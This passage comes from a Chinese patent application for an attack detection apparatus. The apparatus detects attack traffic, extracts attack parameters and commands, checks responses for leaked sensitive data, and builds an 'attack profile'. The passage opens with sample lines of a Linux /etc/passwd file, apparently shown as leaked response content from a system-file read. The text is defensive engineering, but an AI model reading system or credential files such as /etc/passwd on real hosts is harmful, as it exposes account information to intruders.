daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin。

下面对本申请实施例提供的攻击检测装置进行介绍,下文描述的攻击检测装置与上文描述的攻击检测方法可相互对应参照。

请参考图6,图6为本申请实施例提供的一种攻击检测装置的结构示意图,包括:

攻击流量检测模块110,用于对请求流量进行攻击流量检测;

提取模块120,用于若检测到攻击流量,则提取攻击流量对应的攻击执行内容;

攻击画像生成模块130,用于对攻击执行内容进行攻击画像处理,得到攻击流量对应的攻击画像。

应用本申请实施例提供的攻击检测装置,在对请求流量进行攻击流量检测后,若检测到了攻击流量,则提取攻击流量对应的攻击执行内容,而攻击执行内容用于被执行进而发起攻击,攻击执行内容具体可以包括被攻击的漏洞、攻击方式等。通过对攻击执行内容进行攻击画像处理得到攻击画像,可以对攻击流量对应的攻击的目的、实施方式和结果进行了解,即完整清楚地了解攻击流量在哪里进行了攻击、采用什么方式进行攻击、得到了什么结果等信息,清楚、全面地了解网络攻击。同时,由于攻击画像完整的展示了攻击的路径,因此根据攻击画像可以准确得知攻击是否被成功防御,有利用提高运维效率,进行快速响应,提高安全防护的更新效率,及时对新出现的攻击进行防护,进而提高安全防护的性能。

可选地,提取模块120,包括:

参数判断单元,用于判断所述攻击流量中是否存在目标预设攻击参数;所述目标预设攻击参数为任一预设攻击参数;

第一提取单元,用于若存在目标预设攻击参数,则将目标预设攻击参数确定为第一攻击执行内容;

第二提取单元,用于对攻击流量中目标预设攻击参数对应的目标攻击流量进行信息提取处理,得到第二攻击执行内容。

可选地,第二提取单元,包括:

指令判断子单元,用于判断所述目标攻击流量中是否存在目标预设攻击指令;所述目标预设攻击指令为任一预设攻击指令;

确定子单元,用于若存在通过筛选的目标预设攻击指令,则将目标预设攻击指令确定为第二攻击执行内容;

相应的,攻击画像生成模块130,包括:

第一攻击方式确定单元,用于利用第一攻击执行内容确定攻击方式;

第一攻击结果确定单元,用于利用第二攻击执行内容确定攻击结果;

第一攻击画像生成单元,用于利用攻击方式和攻击结果得到攻击画像。

可选地,提取模块120,还包括:

绕过尝试确定单元,用于将第二攻击执行内容确定为绕过尝试信息;

相应的,攻击画像生成模块130,包括:

第二攻击方式确定单元,用于利用第一攻击执行内容确定攻击方式;

第二攻击画像生成单元,用于利用攻击方式和绕过尝试信息得到攻击画像。

可选地,第二提取单元,还包括:

漏洞探测确定子单元,用于将攻击执行内容确定为漏洞探测信息;

相应的,攻击画像生成模块130,包括:

第三攻击画像生成单元,用于利用漏洞探测信息得到攻击画像。

可选地,还包括:

响应流量获取模块,用于获取对请求流量进行响应的响应流量;

敏感信息检测模块,用于对响应流量进行敏感信息检测;

响应内容确定模块,用于若检测到敏感信息,则将敏感信息确定为响应内容。

可选地,攻击画像生成模块130,包括:

第三攻击方式确定单元,用于利用第一攻击执行内容确定攻击方式;

第二攻击结果确定单元,用于利用第二攻击执行内容和响应内容确定攻击结果;

第四攻击画像生成单元,用于确定攻击流量利用的目标漏洞,并利用目标漏洞、攻击方式和攻击结果得到攻击画像。

可选地,攻击流量检测模块110,包括:

利用特征检测单元,用于对请求流量进行漏洞利用特征检测;

攻击流量确定单元,用于若检测到存在漏洞利用特征,则确定请求流量为攻击流量。

需要说明的是,基于上述任意实施例,装置可以是基于可编程逻辑器件实现的,可编程逻辑器件包括FPGA,CPLD,单片机、处理器等。这些可编程逻辑器件可以设置在电子设备中。

下面对本申请实施例提供的电子设备进行介绍,下文描述的电子设备与上文描述的攻击检测方法可相互对应参照。

请参考图7,图7为本申请实施例提供的一种攻击检测方法所适用的一种硬件组成框架示意图。其中电子设备100可以包括处理器101和存储器102,还可以进一步包括多媒体组件103、信息输入/信息输出(I/O)接口104以及通信组件105中的一种或多种。

其中,处理器101用于控制电子设备100的整体操作,以完成上述的攻击检测方法中的全部或部分步骤;存储器102用于存储各种类型的数据以支持在电子设备100的操作,这些数据例如可以包括用于在该电子设备100上操作的任何应用程序或方法的指令,以及应用程序相关的数据。该存储器102可以由任何类型的易失性或非易失性存储设备或者它们的组合实现,例如静态随机存取存储器(Static Random Access Memory,SRAM)、电可擦除可编程只读存储器(Electrically Erasable Programmable Read-Only Memory,EEPROM)、可擦除可编程只读存储器(Erasable Programmable Read-Only Memory,EPROM)、可编程只读存储器(Programmable Read-Only Memory,PROM)、只读存储器(Read-OnlyMemory,ROM)、磁存储器、快闪存储器、磁盘或光盘中的一种或多种。在本实施例中,存储器102中至少存储有用于实现以下功能的程序和/或数据:

对请求流量进行攻击流量检测;

若检测到攻击流量,则提取攻击流量对应的攻击执行内容;

对攻击执行内容进行攻击画像处理,得到攻击流量对应的攻击画像。

多媒体组件103可以包括屏幕和音频组件。其中屏幕例如可以是触摸屏,音频组件用于输出和/或输入音频信号。例如,音频组件可以包括一个麦克风,麦克风用于接收外部音频信号。所接收的音频信号可以被进一步存储在存储器102或通过通信组件105发送。音频组件还包括至少一个扬声器,用于输出音频信号。I/O接口104为处理器101和其他接口模块之间提供接口,上述其他接口模块可以是键盘,鼠标,按钮等。这些按钮可以是虚拟按钮或者实体按钮。通信组件105用于电子设备100与其他设备之间进行有线或无线通信。无线通信,例如Wi-Fi,蓝牙,近场通信(Near Field Communication,简称NFC),2G、3G或4G,或它们中的一种或几种的组合,因此相应的该通信组件105可以包括:Wi-Fi部件,蓝牙部件,NFC部件。

电子设备100可以被一个或多个应用专用集成电路(Application SpecificIntegrated Circuit,简称ASIC)、数字信号处理器(Digital Signal Processor,简称DSP)、数字信号处理设备(Digital Signal Processing Device,简称DSPD)、可编程逻辑器件(Programmable Logic Device,简称PLD)、现场可编程门阵列(Field ProgrammableGate Array,简称FPGA)、控制器、微控制器、微处理器或其他电子元件实现,用于执行上述实施例给出的攻击检测方法。

当然,图7所示的电子设备100的结构并不构成对本申请实施例中电子设备的限定,在实际应用中电子设备100可以包括比图7所示的更多或更少的部件,或者组合某些部件。

可以理解的是,本申请实施例中并不对电子设备的数量进行限定,其可以是多个电子设备共同协作完成攻击检测方法。在一种可能的实施方式中,请参考图8,图8为本申请实施例提供的另一种攻击检测方法所适用的硬件组成框架示意图。由图8可知,该硬件组成框架可以包括:第一电子设备11和第二电子设备12,二者之间通过网络13连接。

在本申请实施例中,第一电子设备11与第二电子设备12的硬件结构可以参考图7中电子设备100。即可以理解为本实施例中具有两个电子设备100,两者进行数据交互,实现对攻击流量生成攻击画像的效果。进一步,本申请实施例中并不对网络13的形式进行限定,即,网络13可以是无线网络(如WIFI、蓝牙等),也可以是有线网络。

其中,第一电子设备11和第二电子设备12可以是同一种电子设备,如第一电子设备11和第二电子设备12均为服务器;也可以是不同类型的电子设备,例如,第一电子设备11可以是网关或路由器,第二电子设备12可以是服务器。在一种可能的实施方式中,可以利用计算能力强的服务器作为第二电子设备12来提高数据处理效率及可靠性,进而提高攻击画像的生成效率。同时利用成本低,应用范围广的网关或路由器作为第一电子设备11,用于实现第二电子设备12与操作端(即请求流量的发送端)之间的交互。该交互过程可以为:操作端发送请求流量,由第一电子设备11对请求流量进行攻击流量检测,在检测到攻击流量后,将该攻击流量发送给第二电子设备12,以便第二电子设备12继续执行后续的步骤,直至得到攻击流量对应的攻击画像。

下面对本申请实施例提供的计算机可读存储介质进行介绍,下文描述的计算机可读存储介质与上文描述的攻击检测方法可相互对应参照。

本申请还提供一种计算机可读存储介质,计算机可读存储介质上存储有计算机程序,计算机程序被处理器执行时实现上述的攻击检测方法的步骤。

该计算机可读存储介质可以包括:U盘、移动硬盘、只读存储器(Read-OnlyMemory,ROM)、随机存取存储器(Random Access Memory,RAM)、磁碟或者光盘等各种可以存储程序代码的介质。

本说明书中各个实施例采用递进的方式描述,每个实施例重点说明的都是与其它实施例的不同之处,各个实施例之间相同或相似部分互相参见即可。对于实施例公开的装置而言,由于其与实施例公开的方法相对应,所以描述的比较简单,相关之处参见方法部分说明即可。

本领域技术人员还可以进一步意识到,结合本文中所公开的实施例描述的各示例的单元及算法步骤,能够以电子硬件、计算机软件或者二者的结合来实现,为了清楚地说明硬件和软件的可互换性,在上述说明中已经按照功能一般性地描述了各示例的组成及步骤。这些功能究竟以硬件还是软件的方式来执行,取决于技术方案的特定应用和设计约束条件。本领域技术人员可以对每个特定的应用来使用不同方法来实现所描述的功能,但是这种实现不应该认为超出本申请的范围。

结合本文中所公开的实施例描述的方法或算法的步骤可以直接用硬件、处理器执行的软件模块,或者二者的结合来实施。软件模块可以置于随机存储器(RAM)、内存、只读存储器(ROM)、电可编程ROM、电可擦除可编程ROM、寄存器、硬盘、可移动磁盘、CD-ROM、或技术领域内所公知的任意其它形式的存储介质中。

最后,还需要说明的是,在本文中,诸如第一和第二等之类的关系属于仅仅用来将一个实体或者操作与另一个实体或者操作区分开来,而不一定要求或者暗示这些实体或操作之间存在任何这种实际的关系或者顺序。而且,术语包括、包含或者其他任何变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法、物品或者设备不仅包括那些要素,而且还包括没有明确列出的其他要素,或者是还包括为这种过程、方法、物品或者设备所固有的要素。

本文中应用了具体个例对本申请的原理及实施方式进行了阐述,以上实施例的说明只是用于帮助理解本申请的方法及其核心思想;同时,对于本领域的一般技术人员,依据本申请的思想,在具体实施方式及应用范围上均会有改变之处,综上所述,本说明书内容不应理解为对本申请的限制。

相关技术
  • 攻击检测方法、攻击检测装置、存储介质与电子设备
  • 一种中间人攻击检测方法、装置、电子设备及存储介质
技术分类

06120112206134